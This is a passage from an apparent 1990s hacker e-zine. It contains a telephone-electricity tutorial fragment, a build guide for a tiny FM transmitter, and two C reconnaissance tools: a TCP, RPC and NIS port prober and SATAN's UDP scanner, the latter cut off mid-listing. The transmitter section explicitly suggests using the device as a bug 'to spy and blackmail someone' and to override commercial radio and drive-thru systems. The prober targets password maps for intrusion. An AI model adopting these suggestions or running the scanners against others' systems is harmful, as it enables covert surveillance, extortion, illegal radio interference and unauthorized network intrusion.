  833.     Expressed as an equation, the law becomes:
  834.  
  835.                    I = E/R
  836.  
  837.     By manipulaiton, the law can also be writen as:
  838.  
  839.            R = E/I  or  E = I x R
  840.                   
  841.     An easy way to remember these three equations of Ohm's law is to draw a 
  842.     circle and divide it in two with a horizontal line.  Place E in the top 
  843.     half of the circle, and divide the lower half of the circle with the 
  844.     vertical line placing I to the left of the line and R to the right of 
  845.     the line.  If you wish to find the voltage (E), place your thumb over E 
  846.     and you find E = I x R.  If you wish to find the aperes (I), place your 
  847.     thumb over I and you find I = E/R
  848.  
  849. 1.7  Difference of Potential
  850.  
  851.     We often hear the statement "all we need to make a relay operate is 
  852.     battery and ground."  This is true, but it would be more correct to say
  853.     "all we need to operate a relay is a 'Difference of Potential'."  If 
  854.     you learn to look at it this way, you will find it much easier to 
  855.     understand the biasing of transistors at a later date.  The force 
  856.     or effect that causes the electron flow between our battery and ground
  857.     is simply a difference of potential.  So let us have a look at what we
  858.     mean by a difference of potential.
  859.  
  860.     Because electron flow if from negative to positive, the negative side 
  861.     of a battery could be said to push the electrons, and the positive side
  862.     of a battery could be said to pull the electrons.
  863.  
  864.     If we were using a 50 volt battery supply (standard office voltage) it
  865.     is the sum of the negative push and the positive pull which gives us 
  866.     our total of Electron Moving Force, or pressure that is exerted on the
  867.     electrons.  This force or pressure is properly known as Voltage or 
  868.     Electromotive Force (E.M.F.).
  869.  
  870.     In actual practice, we ground the positive side of our battery and then
  871.     ground the side of the relay that would have gone to the positive 
  872.     battery terminal.  Now you can see why we say "all we need to make our
  873.     relay operate is battery and ground".  But nothing has changed, really.
  874.     Our potential difference and current flow will remain the same.
  875.  
  876. 1.8  Booster Battery
  877.  
  878.     We have another battery supply in a central office known as booster 
  879.     battery which is usually either 50 or 60 volts.  However, our external
  880.     connections are reversed.  That is to say, the negative side of the 
  881.     battery is connected to ground and the positive side is connected to  
  882.     the load.
  883.  
  884.     The Rule for electron movement, negative to positive, still applies.
  885. _____________________________________________________________
  886.                 
  887.                 -------------------------------------
  888.                 --=[Pirating Your Own Radio Station]=--
  889.            Written by DataThief - Built by DataThief and Delcon
  890.                 -------------------------------------
  891.  
  892. Here it is hackers and phreaks - How to build your own radio station.
  893. I'm sure you have all wanted your own way to communicate to the masses at 
  894. one time or another, or if not, this can also be used as a wireless room
  895. bug.  The actual construction is only about 2 x 3 x .5 inches including AA
  896. battery (AT MAX).  
  897.  
  898. Supplies:
  899.                                                     Symbol on 
  900. Name                    Value/Item #               Quantity     Diagram
  901. --------------------------------------------------------------------------
  902. Soldering iron   
  903. A PC Board              4030                       1            
  904. Capacitator             100pF (marked 101)         1            C2
  905. Capacitator             10pF  (marked 10)          1            C3
  906. Capacitator             4pf   (marked 103)         2            C4,C6
  907. Capacitator             0.01uF (marked 103)        1            C5
  908. Resistor                10 kOhm (Br,Bl,Or,Go)      1            R1
  909. Resistor                1.2 kOhm (Br,Re,Re,Go)     1            R2
  910. Resistor                33 kOhm (Or,Or,Or,Go)      2            R3,R5
  911. Resistor                100 Ohm (Br,Bl,Br,Go)      1            R4
  912. Resistor                180 Ohm (Br,Gr,Br,Go)      1            R6
  913. Transistor              2SC1923 (marked C1923)     2            TR1,TR2
  914. Electret Condenser Mic                             1            ECM
  915. Electrolytic Capacitor  10uF                       2            C1,C7
  916. Coil                    0.27-0.30uH                1            L
  917. 1.5 Volt Battery (AA,AAA,N battery)                1            B
  918. 1.5 Volt Battery holder                            1            BH
  919. 1 Toggle Switch with 2 prongs on back (not 3)      1            S
  920. And some insulated copper wire
  921.  
  922. KEY:    Br = Brown
  923.        Bl = Black
  924.        Or = Orange
  925.        Go = Gold
  926.        Re = Red
  927.  
  928. These are all the supplies needed for the bug, and will allow a signal that
  929. carries about 50-100 feet over a clear FM channel (the FM range is between
  930. 71-79 FM).  For a radio station, I suggest you add a bigger amp and a much
  931. larger antenna (I use a CB antenna to transmit about 1-2 miles..)
  932.  
  933.  ___________________________________________________________
  934. | Block Diagram                                             |
  935. |                                                       ANT |
  936. |                                                       \./ |
  937. |   _____ECM____       ____TR-1____       ____TR-2___    |  |
  938. |  |  Condenser |     | Oscilator/ |     |           |   |  |
  939. |  | Microphone |---->| Modulator  |---->| Amplifier |---'  |
  940. |  `------------'     `------------'     `-----------'      |
  941. |       |___________________|__________________|            |
  942. |                                              |            |
  943. |                                          __________       |
  944. |                                         | Power    |      |                                      Supply
  945. |                                         |   Supply |      |
  946. |                                         `----------'      |
  947. |                                                           |
  948. `-----------------------------------------------------------'
  949.                                                     \./
  950. Schematic Diagram                                                 |ANT.
  951.        .----------------*----*------*------*----------*-----*----|--*----.
  952.        |                |    |      |      |          |     |    |  |    |
  953.        \                \    |C5/   |C4/4P )          \     \    |  |    |
  954.        / R2/        R3/ /   ===    ===     )l    R5/  / R6/ /    |  |    |
  955.        \ 1.28K      33K \    |0.01u |      )*-.  33K  \ 180 \    |  |    |
  956.        /                /   _|___   |      )  |       /     /    |  |    |
  957.        |                |   ///     *------'  |       |     *----'  |    |
  958.  ---    |    R1/    ||+  |        _/ |         |  ||   |   |/      + |    |
  959. | E |---*--/\/\/\---||---*-------|_ ===C3/     `--||---*---|TR2    ====   |
  960. | C |        10K    ||   |      TR1\ | 10P        ||       |\    C7/ |    |
  961. | M |---.       C1/10u   |          `*           C6/4P       |   10u |    |
  962. `---'   |                |           |                       |       |    |
  963.        |                |           /                       |       |    |
  964.        |                |       R4/ \                       |       |    |
  965.        |          C2/   |       100 /                       |       |    |
  966.        |          100P ===          \                       |       |    |
  967.        |                |           |                       |       |    |
  968.        `----------------*-----------*-----------------------*-------*    |
  969.                                                         |    |
  970.                                         DC-IN  (-)---------'    |
  971.                                               (+)--------------'
  972.  
  973.  
  974. Well, that's the best I can do in text.  If you are seriously interested in
  975. building one, and you can't read this well enough, I might make one as a gif
  976. or something.  I hope you enjoy it, and don't get caught.
  977.  
  978. A few suggestions you could do to have lots of fun with your new pirate 
  979. radio station:
  980.  
  981. 1) You could piss alot of hicks off by transmitting over a local country
  982.    station and tell them how much they suck!
  983. 2) You could piss alot more people off by transmitting over the most popular
  984.    radio station and advertising for your own, or playing some hard techno.
  985. 3) If you're really good, find out what frequency McDonald's or some fast 
  986.    food joint's drive-thru voice system works on and modify the transmitter
  987.    so it breaks through...I'm working on this one.
  988. 4) Use it as a bug to spy and blackmail someone.
  989.  
  990. I've wasted enough time writing this bitch, so spread the knowledge, and if
  991. you don't like it, maybe someone else will, because drawing that diagram (as
  992. shitty as it is) took me forever!
  993.  
  994. "l8r hackerz and phreaks!....This iz WFA-Q Fuck U signing off..."
  995.  
  996. DataThief
  997.  
  998. Greetz:
  999. Scud-O
  1000. Delcon
  1001. KeyStroke
  1002. od|phreak
  1003. KungFuFox
  1004. The members of HBS, Area66 and X-TREME
  1005. All the others I forgot because my mind blanked out.
  1006. _____________________________________________________________
  1007. [prober.c - by Scud-O version 1]
  1008.  
  1009. /***********************************************************************
  1010. * prober.c -- Unix Port Prober, by Scud-O for THTJ 10, released 5/1/97
  1011. ************************************************************************
  1012. * NOTE: This biatch doesn't have UDP working, since well, it is
  1013. * connectionless, and that is a pain in the ass to get done right. If
  1014. * You really want UDP, code it yourself, it really shouldn't be that hard,
  1015. * But most important services run off of TCP ports, not UDP.
  1016. *************************************************************************
  1017. * compile: cc -o pscan -s pscan.c
  1018. *************************************************************************
  1019. * NOTE: for NIS listing to work right, the domain name, must be what you
  1020. *       pass as the remote host, otherwise problems are afoot.
  1021. ************************************************************************/
  1022.  
  1023. #include <netinet/in.h>
  1024. #include <sys/socket.h>
  1025. #include <sys/types.h>
  1026. #include <rpc/rpc.h>
  1027. #include <rpc/xdr.h>
  1028. #include <rpc/pmap_prot.h>
  1029. #include <rpc/pmap_clnt.h>
  1030. #include <rpcsvc/yp_prot.h>
  1031. #include <rpcsvc/ypclnt.h>
  1032. #include <errno.h>
  1033. #include <stdio.h>
  1034. #include <unistd.h>
  1035. #include <netdb.h>
  1036.  
  1037.  
  1038. #ifdef __GNU_LIBRARY__    /* this is needed for the GNU C library */
  1039. #include <getopt.h>
  1040. #else
  1041. extern int optind;
  1042. #endif
  1043.  
  1044.  
  1045. #define LOWEST_PORT 1
  1046. #define HIGHEST_PORT 8080  /* The Sky is the limit! */
  1047.  
  1048. #define MAJOR 1
  1049. #define MINOR 1
  1050.  
  1051. static char sccsid[] = "@(#) Prober v1 , for The HAVOC Technical Journal 10 5/1/97";
  1052.  
  1053.  
  1054. typedef enum {
  1055.    false,
  1056.    true
  1057. } bool;
  1058.  
  1059. typedef enum {
  1060.    s_none,
  1061.    s_tcp,
  1062.  
  1063.    s_udp,
  1064.    s_rpc,
  1065.    s_nis
  1066. } scan_t;
  1067.  
  1068. #ifdef __GNU_LIBRARY__
  1069. static struct option long_options[] = {
  1070.    {"tcp", 0, 0, 0},
  1071.    {"udp", 0, 0, 0},
  1072.    {"rpc", 0, 0, 0},
  1073.    {"nis", 0, 0, 0},
  1074.    {"help", 0, 0, 0},
  1075.    {"version", 0, 0, 0},
  1076.    {0,0,0,0}
  1077. };
  1078. #endif
  1079.  
  1080. struct {
  1081.    char    *alias;
  1082.    char    *mapname;
  1083.    bool  inuse;
  1084. } yp_maps[] = {
  1085.    {"passwd",    "passwd.byname", false},
  1086.    {"group",     "group.byname", false},
  1087.    {"networks",  "networks.byaddr", false},
  1088.    {"hosts",     "hosts.byaddr", false},
  1089.    {"protocols", "protocols.bynumber", false},
  1090.    {"services",  "services.byname", false},
  1091.    {"aliases",   "mail.aliases", false},
  1092.    {"ethers",    "ethers.byname", false},
  1093.    {NULL,        NULL, false}
  1094. };
  1095.  
  1096.  
  1097. scan_t scan_type;
  1098. char remote_host[200];
  1099. char remote_ip[20];
  1100. int low_port;
  1101. int high_port;
  1102. int key;
  1103.  
  1104. void print_version(s)
  1105. {
  1106.    fprintf(stderr,"%s version %d.%d\n",s,MAJOR, MINOR);
  1107.    exit(0);
  1108. }
  1109.  
  1110. void print_usage(s)
  1111. {
  1112.  
  1113.  
  1114.    fprintf(stderr,"usage %s: <scan type> <host> [low port] [high port]\n",s);
  1115.    fprintf(stderr,"where scan type is one of:\n");
  1116. #ifdef __GNU_LIBRARY__
  1117.    fprintf(stderr,"   --tcp, -t       - TCP port scan\n");
  1118.    fprintf(stderr,"   --udp, -u       - UDP port scan(NOT implemented)\n");
  1119.    fprintf(stderr,"   --rpc, -r       - RPC service list\n");
  1120.    fprintf(stderr,"   --nis, -n       - NIS map listing\n");
  1121.    fprintf(stderr,"   --version, -v   - Print version information\n");
  1122.    fprintf(stderr,"   --help, -h      - Print usage information\n");
  1123. #else
  1124.    fprintf(stderr,"   -t              - TCP port scan\n");
  1125.    fprintf(stderr,"   -u              - UDP port scan(NOT implemented)\n");
  1126.    fprintf(stderr,"   -r              - RPC service list\n");
  1127.    fprintf(stderr,"   -n              - NIS map listing\n");
  1128.    fprintf(stderr,"   -v              - Print version information\n");
  1129.    fprintf(stderr,"   -h              - Print usage information\n");
  1130.  
  1131. #endif
  1132.    fprintf(stderr,"\n");
  1133.    exit(0);
  1134. }
  1135.  
  1136. void get_args(n,v)
  1137. int n;
  1138. char *v[];
  1139. {
  1140.  int c;
  1141.  int opt_ind;
  1142.  
  1143.    scan_type = s_none;
  1144.    while (true) {
  1145. #ifdef __GNU_LIBRARY__
  1146.      c = getopt_long(n,v,"turnhv",long_options,&opt_ind);
  1147.  
  1148. #else
  1149.      c = getopt(n,v,"turnhv");
  1150. #endif
  1151.      if (c == -1)
  1152.         break;
  1153.      switch(c) {
  1154. #ifdef __GNU_LIBRARY__
  1155.       case 0:
  1156.         opt_ind++; /* index's are one less than the scan type */
  1157.         if (opt_ind == 5)
  1158.           print_usage(v[0]);
  1159.         if (opt_ind == 6)
  1160.           print_version(v[0]);
  1161.         scan_type = opt_ind;
  1162.         break;
  1163. #endif
  1164.  
  1165.       case 't':
  1166.         scan_type = s_tcp;
  1167.         break;
  1168.       case 'u':
  1169.         /* This doen't work, but i added it in case you wish to add it in */
  1170.         scan_type = s_udp;
  1171.         break;
  1172.       case 'r':
  1173.         scan_type = s_rpc;
  1174.         break;
  1175.       case 'n':
  1176.         scan_type = s_nis;
  1177.         break;
  1178.       case 'v':
  1179.         print_version(v[0]);
  1180.         break;
  1181.       case 'h':
  1182.  
  1183.       case '?':
  1184.         print_usage(v[0]);
  1185.         break;
  1186.      }
  1187.    }
  1188.  
  1189.    low_port = LOWEST_PORT;
  1190.    high_port = HIGHEST_PORT;
  1191.  
  1192.    for (opt_ind = 0;optind < n;optind++) {
  1193.      switch(opt_ind++) {
  1194.       case 0: /* remote host */
  1195.         strncpy(remote_host,v[optind],199);
  1196.         break;
  1197.       case 1: /* low port */
  1198.         low_port = atoi(v[optind]);
  1199.  
  1200.         break;
  1201.       case 2: /* high port */
  1202.         high_port = atoi(v[optind]);
  1203.         break;
  1204.      }
  1205.    }
  1206.    if ((opt_ind == 0) || (scan_type == s_none)) {
  1207.      fprintf(stderr,"error: you must specify a scan type and a host\n");
  1208.      print_usage(v[0]);
  1209.    }
  1210. }
  1211. void check_args()
  1212. {
  1213.  struct hostent *host;
  1214.  
  1215.    host = gethostbyname(remote_host);
  1216.  
  1217.  if (host == NULL) {
  1218.     unsigned char a,b,c,d,n;
  1219.     char addr[5];
  1220.      /* hmm.. perhaps it was a dotted quad entered.. */
  1221.      n = sscanf(remote_host,"%u.%u.%u.%u",&a,&b,&c,&d);
  1222.      if (n != 4) {
  1223.         fprintf(stderr,"error: host '%s' not found\n",remote_host);
  1224.         exit(1);
  1225.      }
  1226.      addr[0] = a;
  1227.      addr[1] = b;
  1228.      addr[2] = c;
  1229.      addr[3] = d;
  1230.      host = gethostbyaddr(addr,4,AF_INET);
  1231.      if (host == NULL) {
  1232.         fprintf(stderr,"error: host '%s' not found\n",remote_host);
  1233.  
  1234.         exit(1);
  1235.      }
  1236.      sprintf(remote_ip,"%u.%u.%u.%u",a,b,c,d);
  1237.    } else {
  1238.      sprintf(remote_ip,"%u.%u.%u.%u",
  1239.             (unsigned char) host->h_addr_list[0][0],
  1240.             (unsigned char) host->h_addr_list[0][1],
  1241.             (unsigned char) host->h_addr_list[0][2],
  1242.             (unsigned char) host->h_addr_list[0][3]);
  1243.    }
  1244. }
  1245. void print_args()
  1246. {
  1247.  static char *opt_table[] = {
  1248.     "tcp","udp","rpc","nis"
  1249.  };
  1250.  
  1251.  
  1252.    fprintf(stdout,"scanning host %s's %s ports ",remote_host,
  1253.         opt_table[scan_type-1]);
  1254.    if (scan_type < 3) {
  1255.      fprintf(stdout,"%d through %d",LOWEST_PORT,HIGHEST_PORT);
  1256.    }
  1257.    fprintf(stdout,"\n");
  1258. }
  1259.  
  1260. int scan()
  1261. {
  1262.  int soc;
  1263.  struct sockaddr_in addr;
  1264.  struct servent *serv;
  1265.  int port,rc,addr_len,opt;
  1266.  
  1267.  
  1268.    if (scan_type >= 3) /* this proc only does tcp and udp */
  1269.      return;
  1270.  
  1271.    for (port = LOWEST_PORT;port <= HIGHEST_PORT;port++) {
  1272.  
  1273.      if (scan_type == s_tcp) {
  1274.         soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  1275.      } else if (scan_type == s_udp) {
  1276.         soc = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  1277.      } else
  1278.         return;
  1279.  
  1280.      if (soc < 0) {
  1281.         fprintf(stderr,"error: socket() failed\n");
  1282.         return;
  1283.      }
  1284.  
  1285.      rc = setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt));
  1286.  
  1287.      addr.sin_family = AF_INET;
  1288.      addr.sin_addr.s_addr = inet_addr(remote_ip);
  1289.      addr.sin_port = htons(port);
  1290.  
  1291.      addr_len = sizeof(addr);
  1292.      rc = connect(soc, (struct sockaddr*) &addr, addr_len);
  1293.  
  1294.      if (scan_type == s_udp) {
  1295.              /* This currently doesnt work, its a pain in the ass to scan
  1296.                 UDP, and since no really important services run under UDP,
  1297.                 You really dont need it. */
  1298.              printf(stderr,"\nUDP Scanning is not implemented. Do it
  1299.                     yourself!\n\n");
  1300.              exit(1);
  1301.      }
  1302.  
  1303.      close(soc);
  1304.  
  1305.  
  1306.      if (rc < 0)
  1307.         continue;
  1308.  
  1309.      if (scan_type == s_tcp)
  1310.         serv = getservbyport(htons(port),"tcp");
  1311.      else if (scan_type == s_udp)
  1312.         serv = getservbyport(htons(port),"udp");
  1313.      else
  1314.         return;
  1315.      fprintf(stdout,"port %d (%s) is running\n",port,(serv == 
  1316. NULL)?"UNKNOWN":
  1317.             serv->s_name);
  1318.    }
  1319. }
  1320. /* The next two routines were ripped out of ypcat , but with a few changes */
  1321. int callback_proc(is,ik,ikl,iv,ivl,id)
  1322.  
  1323. int is;
  1324. char *ik;
  1325. int ikl;
  1326. char *iv;
  1327. int ivl;
  1328. char *id;
  1329. {
  1330.    if (is != YP_TRUE)
  1331.      return is;
  1332.    return 0;
  1333. }
  1334.  
  1335. void nis_dump()
  1336. {
  1337.  int i,rc;
  1338.  char *domainname;
  1339.  
  1340.  char *map;
  1341.  struct ypall_callback callback;
  1342.  
  1343.    domainname = &remote_host[0];
  1344.  
  1345.    for (i = 0;yp_maps[i].mapname != NULL;i++) {
  1346.      key = 0;
  1347.      callback.foreach = callback_proc;
  1348.      callback.data = NULL;
  1349.      map = yp_maps[i].mapname;
  1350.      rc = yp_all(domainname,map,&callback);
  1351.      switch(rc) {
  1352.       case 0:
  1353.         printf("%-10.10s is available\n",yp_maps[i].alias);
  1354.         break;
  1355.       case YPERR_YPBIND:
  1356.  
  1357.         fprintf(stderr,"error: server is not running ypbind\n");
  1358.         exit(1);
  1359.         break;
  1360.       default:
  1361.         fprintf(stderr,"error: %s\n",yperr_string(rc));
  1362.         exit(1);
  1363.      }
  1364.    }
  1365. }
  1366.  
  1367. /* this routine basically ripped from rpcinfo -p */
  1368. void rpc_scan()
  1369. {
  1370.        struct sockaddr_in server_addr;
  1371.        register struct hostent *hp;
  1372.        struct pmaplist *head = NULL;
  1373.  
  1374.        int socket = RPC_ANYSOCK;
  1375.        struct timeval minutetimeout;
  1376.        register CLIENT *client;
  1377.        struct rpcent *rpc;
  1378.  
  1379.        minutetimeout.tv_sec = 60;
  1380.        minutetimeout.tv_usec = 0;
  1381.        server_addr.sin_addr.s_addr = inet_addr(remote_ip);
  1382.        server_addr.sin_family = AF_INET;
  1383.        server_addr.sin_port = htons(111);
  1384.        if ((client = clnttcp_create(&server_addr, PMAPPROG,
  1385.           PMAPVERS, &socket, 50, 500)) == NULL) {
  1386.              clnt_pcreateerror("rpcinfo: can't contact portmapper");
  1387.              exit(1);
  1388.        }
  1389.        if (clnt_call(client, PMAPPROC_DUMP, xdr_void, NULL,
  1390.  
  1391.           xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS) {
  1392.              fprintf(stderr, "rpcinfo: can't contact portmapper: ");
  1393.              clnt_perror(client, "rpcinfo");
  1394.              exit(1);
  1395.        }
  1396.        if (head == NULL) {
  1397.              printf("No remote programs registered.\n");
  1398.        } else {
  1399.              printf("   program vers proto   port\n");
  1400.              for (; head != NULL; head = head->pml_next) {
  1401.                     printf("%10ld%5ld",
  1402.                        head->pml_map.pm_prog,
  1403.                        head->pml_map.pm_vers);
  1404.                     if (head->pml_map.pm_prot == IPPROTO_UDP)
  1405.                           printf("%6s",  "udp");
  1406.                     else if (head->pml_map.pm_prot == IPPROTO_TCP)
  1407.  
  1408.                           printf("%6s", "tcp");
  1409.                     else
  1410.                           printf("%6ld",  head->pml_map.pm_prot);
  1411.                     printf("%7ld",  head->pml_map.pm_port);
  1412.                     rpc = getrpcbynumber(head->pml_map.pm_prog);
  1413.                     if (rpc)
  1414.                           printf("  %s\n", rpc->r_name);
  1415.                     else
  1416.                           printf("\n");
  1417.              }
  1418.        }
  1419. }
  1420.  
  1421. int main(argc,argv)
  1422. int argc;
  1423. char *argv[];
  1424.  
  1425. {
  1426.    get_args(argc,argv);
  1427.    check_args();
  1428.    print_args();
  1429.  
  1430.    /* this will only do tcp and udp, otherwise returns without doing 
  1431. anything */
  1432.    switch (scan_type) {
  1433.     case s_tcp:
  1434.      scan();
  1435.      break;
  1436.     case s_udp:
  1437.      fprintf(stderr,"UDP port scanning is not implemented in this version\n");
  1438.      break;
  1439.     case s_rpc:
  1440.      rpc_scan();
  1441.     break;
  1442.     case s_nis:
  1443.      nis_dump();
  1444.      break;
  1445.    }
  1446.    return 0;
  1447. }
  1448.  
  1449. _____________________________________________________________
  1450. [ udp-scan.c Wietse Venema - from good old Satan v.1.1.1]
  1451.  
  1452.        Ok, well you really want a good udp scanner and prober? well i was
  1453. looking thru the source of Satan the other day, and this popped up. Have fun
  1454. with it now..... and thank Wietse for the code, and Dan Farmer too, for his
  1455. work on Satan. ( geez, he lost his job over it, give him some credit and
  1456. thanks. )
  1457.  
  1458.  /*
  1459.   * udp-scan - determine available udp services
  1460.   * 
  1461.   * Author: Wietse Venema.
  1462.   */
  1463.  
  1464. #include <sys/types.h>
  1465. #include <sys/param.h>
  1466. #include <sys/socket.h>
  1467. #include <sys/time.h>
  1468.  
  1469. #include <netinet/in_systm.h>
  1470. #include <netinet/in.h>
  1471. #include <netinet/ip.h>
  1472. #include <netinet/ip_icmp.h>
  1473. /*#include <netinet/udp.h>*/
  1474.  
  1475. #include <errno.h>
  1476. #include <netdb.h>
  1477. #include <stdio.h>
  1478. #include <string.h>
  1479. #include "../../include/netinet/ip_icmp_lin.h"
  1480. #include "../../include/netinet/udp_lin.h"
  1481.  
  1482. extern int errno;
  1483.  
  1484. #ifndef __STDC__
  1485. extern char *strerror();
  1486. #endif
  1487.  
  1488. extern char *optarg;
  1489. extern int optind;
  1490.  
  1491. #define offsetof(t,m)    (size_t)(&(((t *)0)->m))
  1492.  
  1493. #ifndef FD_SET
  1494. #include <sys/select.h>
  1495. #endif
  1496.  
  1497. #include "lib.h"
  1498.  
  1499. #define LOAD_LIMIT  100       /* default max nr of open sockets */
  1500. #define AVG_MARGIN  10        /* safety margin */
  1501.  
  1502.  /*
  1503.   * In order to protect ourselves against dead hosts, we first probe UDP port
  1504.   * 1. If we do not get an ICMP error (no listener or host unreachable) we
  1505.   * assume this host is dead. If we do get an ICMP error, we have an estimate
  1506.   * of the roundtrip time. The test port can be changed with the -p option.
  1507.   */
  1508. char   *test_port = "1";
  1509. int     test_portno;
  1510.  
  1511. #define YES     1
  1512. #define NO      0
  1513.  
  1514. int     verbose = 0;               /* default silent mode */
  1515. int     open_file_limit;      /* max nr of open files */
  1516.  
  1517.  /*
  1518.   * We attempt to send as many probes per roundtrip time as network capacity
  1519.   * permits. With UDP we must do our own retransmission and congestion
  1520.   * handling.
  1521.   */
  1522. int     hard_limit = LOAD_LIMIT;   /* max nr of open sockets */
  1523. int     soft_limit;           /* slowly-moving load limit */
  1524.  
  1525. struct timeval now;           /* global time after select() */
  1526. int     ports_busy;           /* number of open sockets */
  1527. int     want_err = 0;              /* show reachable/unreachable */
  1528. int     show_all = 0;              /* show all ports */
  1529.  
  1530.  /*
  1531.   * Information about ongoing probes is sorted by time of last transmission.
  1532.   */
  1533. struct port_info {
  1534.     RING    ring;             /* round-robin linkage */
  1535.     struct timeval last_probe;          /* time of last probe */
  1536.     int     port;             /* port number */
  1537.     int     pkts;             /* number of packets sent */
  1538. };
  1539.  
  1540. struct port_info *port_info = 0;
  1541. RING    active_ports;              /* active sockets list head */
  1542. RING    dead_ports;           /* dead sockets list head */
  1543. struct port_info *find_port_info();     /* retrieve port info */
  1544.  
  1545.  /*
  1546.   * Performance statistics. These are used to update the transmission window
  1547.   * size depending on transmission error rates.
  1548.   */
  1549. double  avg_irt = 0;               /* inter-reply arrival time */
  1550. double  avg_rtt = 0;               /* round-trip time */
  1551. double  avg_pkts = 1;              /* number of packets sent per reply */
  1552. int     probes_sent = 0;      /* probes sent */
  1553. int     probes_done = 0;      /* finished probes */
  1554. int     replies;              /* number of good single probes */
  1555. struct timeval last_reply;         /* time of last reply */
  1556.  
  1557. int     send_sock;            /* send probes here */
  1558. int     icmp_sock;            /* read replies here */
  1559. fd_set  icmp_sock_mask;            /* select() read mask */
  1560. static struct sockaddr_in sin;
  1561.  
  1562.  /*
  1563.   * Helpers...
  1564.   */
  1565.  
  1566. #define time_since(t) (now.tv_sec - t.tv_sec + 1e-6 * (now.tv_usec - t.tv_usec))
  1567. #define sock_age(sp) time_since(sp->last_probe)
  1568. double  average();
  1569. struct port_info *add_port();
  1570.  
  1571. /* main - command-line interface */
  1572.  
  1573. main(argc, argv)
  1574. int     argc;
  1575. char   *argv[];
  1576. {
  1577.     int     c;
  1578.     struct protoent *pe;
  1579.     char  **ports;
  1580.  
  1581.     progname = argv[0];
  1582.     if (geteuid())
  1583.     error("This program needs root privileges");
  1584.  
  1585.     open_file_limit = open_limit();
  1586.  
  1587.     while ((c = getopt(argc, argv, "al:p:uUv")) != EOF) {
  1588.     switch (c) {
  1589.     case 'a':
  1590.         show_all = 1;
  1591.         break;
  1592.     case 'l':
  1593.         if ((hard_limit = atoi(optarg)) <= 0)
  1594.         usage("invalid load limit");
  1595.         break;
  1596.     case 'p':
  1597.         test_port = optarg;
  1598.         break;
  1599.     case 'u':
  1600.         want_err = EHOSTUNREACH;
  1601.         break;
  1602.     case 'U':
  1603.         want_err = ~EHOSTUNREACH;
  1604.         break;
  1605.     case 'v':
  1606.         verbose = 1;
  1607.         break;
  1608.     default:
  1609.         usage((char *) 0);
  1610.         break;
  1611.     }
  1612.     }
  1613.     argc -= (optind - 1);
  1614.     argv += (optind - 1);
  1615.     if (argc < 3)
  1616.     usage("missing argument");
  1617.  
  1618.     if (hard_limit > open_file_limit - 10)
  1619.     hard_limit = open_file_limit - 10;
  1620.     soft_limit = hard_limit + 1;
  1621.     init_port_info();
  1622.  
  1623.     if ((pe = getprotobyname("icmp")) == 0)
  1624.     error("icmp: unknown protocol");
  1625.     if ((icmp_sock = socket(AF_INET, SOCK_RAW, pe->p_proto)) < 0)
  1626.     error("icmp socket: %m");
  1627.     FD_ZERO(&icmp_sock_mask);
  1628.     FD_SET(icmp_sock, &icmp_sock_mask);
  1629.  
  1630.     if ((send_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  1631.     error("socket: %m");
  1632.  
  1633.     /*
  1634.     * First do a test probe to see if the host is up, and to establish the
  1635.     * round-trip time. This requires that the test port is not used.
  1636.     */
  1637.     memset((char *) &sin, 0, sizeof(sin));
  1638.     sin.sin_addr = find_addr(argv[1]);
  1639.     sin.sin_family = AF_INET;
  1640.  
  1641.     gettimeofday(&now, (struct timezone *) 0);
  1642.     last_reply = now;
  1643.  
  1644.     /*
  1645.     * Calibrate round-trip time and dead time.
  1646.     */
  1647.     for (;;) {
  1648.     scan_ports(test_port);
  1649.     while (ports_busy > 0)
  1650.         monitor_ports();
  1651.     if (avg_rtt)
  1652.         break;
  1653.     sleep(1);
  1654.     }
  1655.     scan_ports(test_port);
  1656.  
  1657.     /*
  1658.     * Scan those ports.
  1659.     */
  1660.     for (ports = argv + 2; *ports; ports++)
  1661.     scan_ports(*ports);
  1662.  
  1663.     /*
  1664.     * All ports probed, wait for replies to trickle back.
  1665.     */
  1666.     while (ports_busy > 0)
  1667.     monitor_ports();
  1668.  
  1669.     return (0);
  1670. }
  1671.  
  1672. /* usage - explain command syntax */
  1673.  
  1674. usage(why)
  1675. char   *why;
  1676. {
  1677.     if (why)
  1678.     remark(why);
  1679.     error("usage: %s [-apuU] [-l load] host ports...", progname);
  1680. }
  1681.  
  1682. /* scan_ports - scan ranges of ports */
  1683.  
  1684. scan_ports(service)
  1685. char   *service;
  1686. {
  1687.     char   *cp;
  1688.     int     min_port;
  1689.     int     max_port;
  1690.     int     port;
  1691.     struct port_info *sp;
  1692.  
  1693.     if (service == test_port)
  1694.     test_portno = atoi(test_port);
  1695.  
  1696.     /*
  1697.     * Translate service argument to range of port numbers.
  1698.     */
  1699.     if ((cp = strchr(service, '-')) != 0) {
  1700.     *cp++ = 0;
  1701.     min_port = (service[0] ? ntohs(find_port(service, "udp")) : 1);
  1702.     max_port = (cp[0] ? ntohs(find_port(cp, "udp")) : 65535);
  1703.     } else {
  1704.     min_port = max_port = ntohs(find_port(service, "udp"));
  1705.     }
  1706.  
  1707.     /*
  1708.     * Iterate over each port in the given range. Adjust the number of
  1709.     * simultaneous probes to the capacity of the network.
  1710.     */
  1711.     for (port = min_port; port <= max_port; port++) {
  1712.     sp = add_port(port);
  1713.     write_port(sp);
  1714.     monitor_ports();
  1715.     }
  1716. }
  1717.  
  1718. /* monitor_ports - watch for socket activity */
  1719.  
  1720. monitor_ports()
  1721. {
  1722.     do {
  1723.     struct port_info *sp;
  1724.  
  1725.     /*
  1726.      * When things become quiet, examine the port that we haven't looked
  1727.      * at for the longest period of time.
  1728.      */
  1729.     receive_answers();
  1730.  
  1731.     if (ports_busy == 0)
  1732.         return;
  1733.  
  1734.     sp = (struct port_info *) ring_succ(&active_ports);
  1735.     if (sp->pkts > avg_pkts * AVG_MARGIN) {
  1736.         report_and_drop_port(sp, 0);
  1737.     } else
  1738.  
  1739.         /*
  1740.         * Strategy depends on whether transit times dominate (probe
  1741.         * multiple ports in parallel, retransmit when no reply was
  1742.         * received for at least one round-trip period) or by dead time
  1743.         * (probe one port at a time, retransmit when no reply was
  1744.         * received for some fraction of the inter-reply period).
  1745.         */
  1746.         if (sock_age(sp) > (avg_rtt == 0 ? 1 :
  1747.                 2 * avg_rtt < avg_irt ? avg_irt / 4 :
  1748.                 1.5 * avg_rtt)) {
  1749.         write_port(sp);
  1750.     }
  1751.  
  1752.     /*
  1753.      * When all ports being probed seem to be active, send a test probe
  1754.      * to see if the host is still alive.
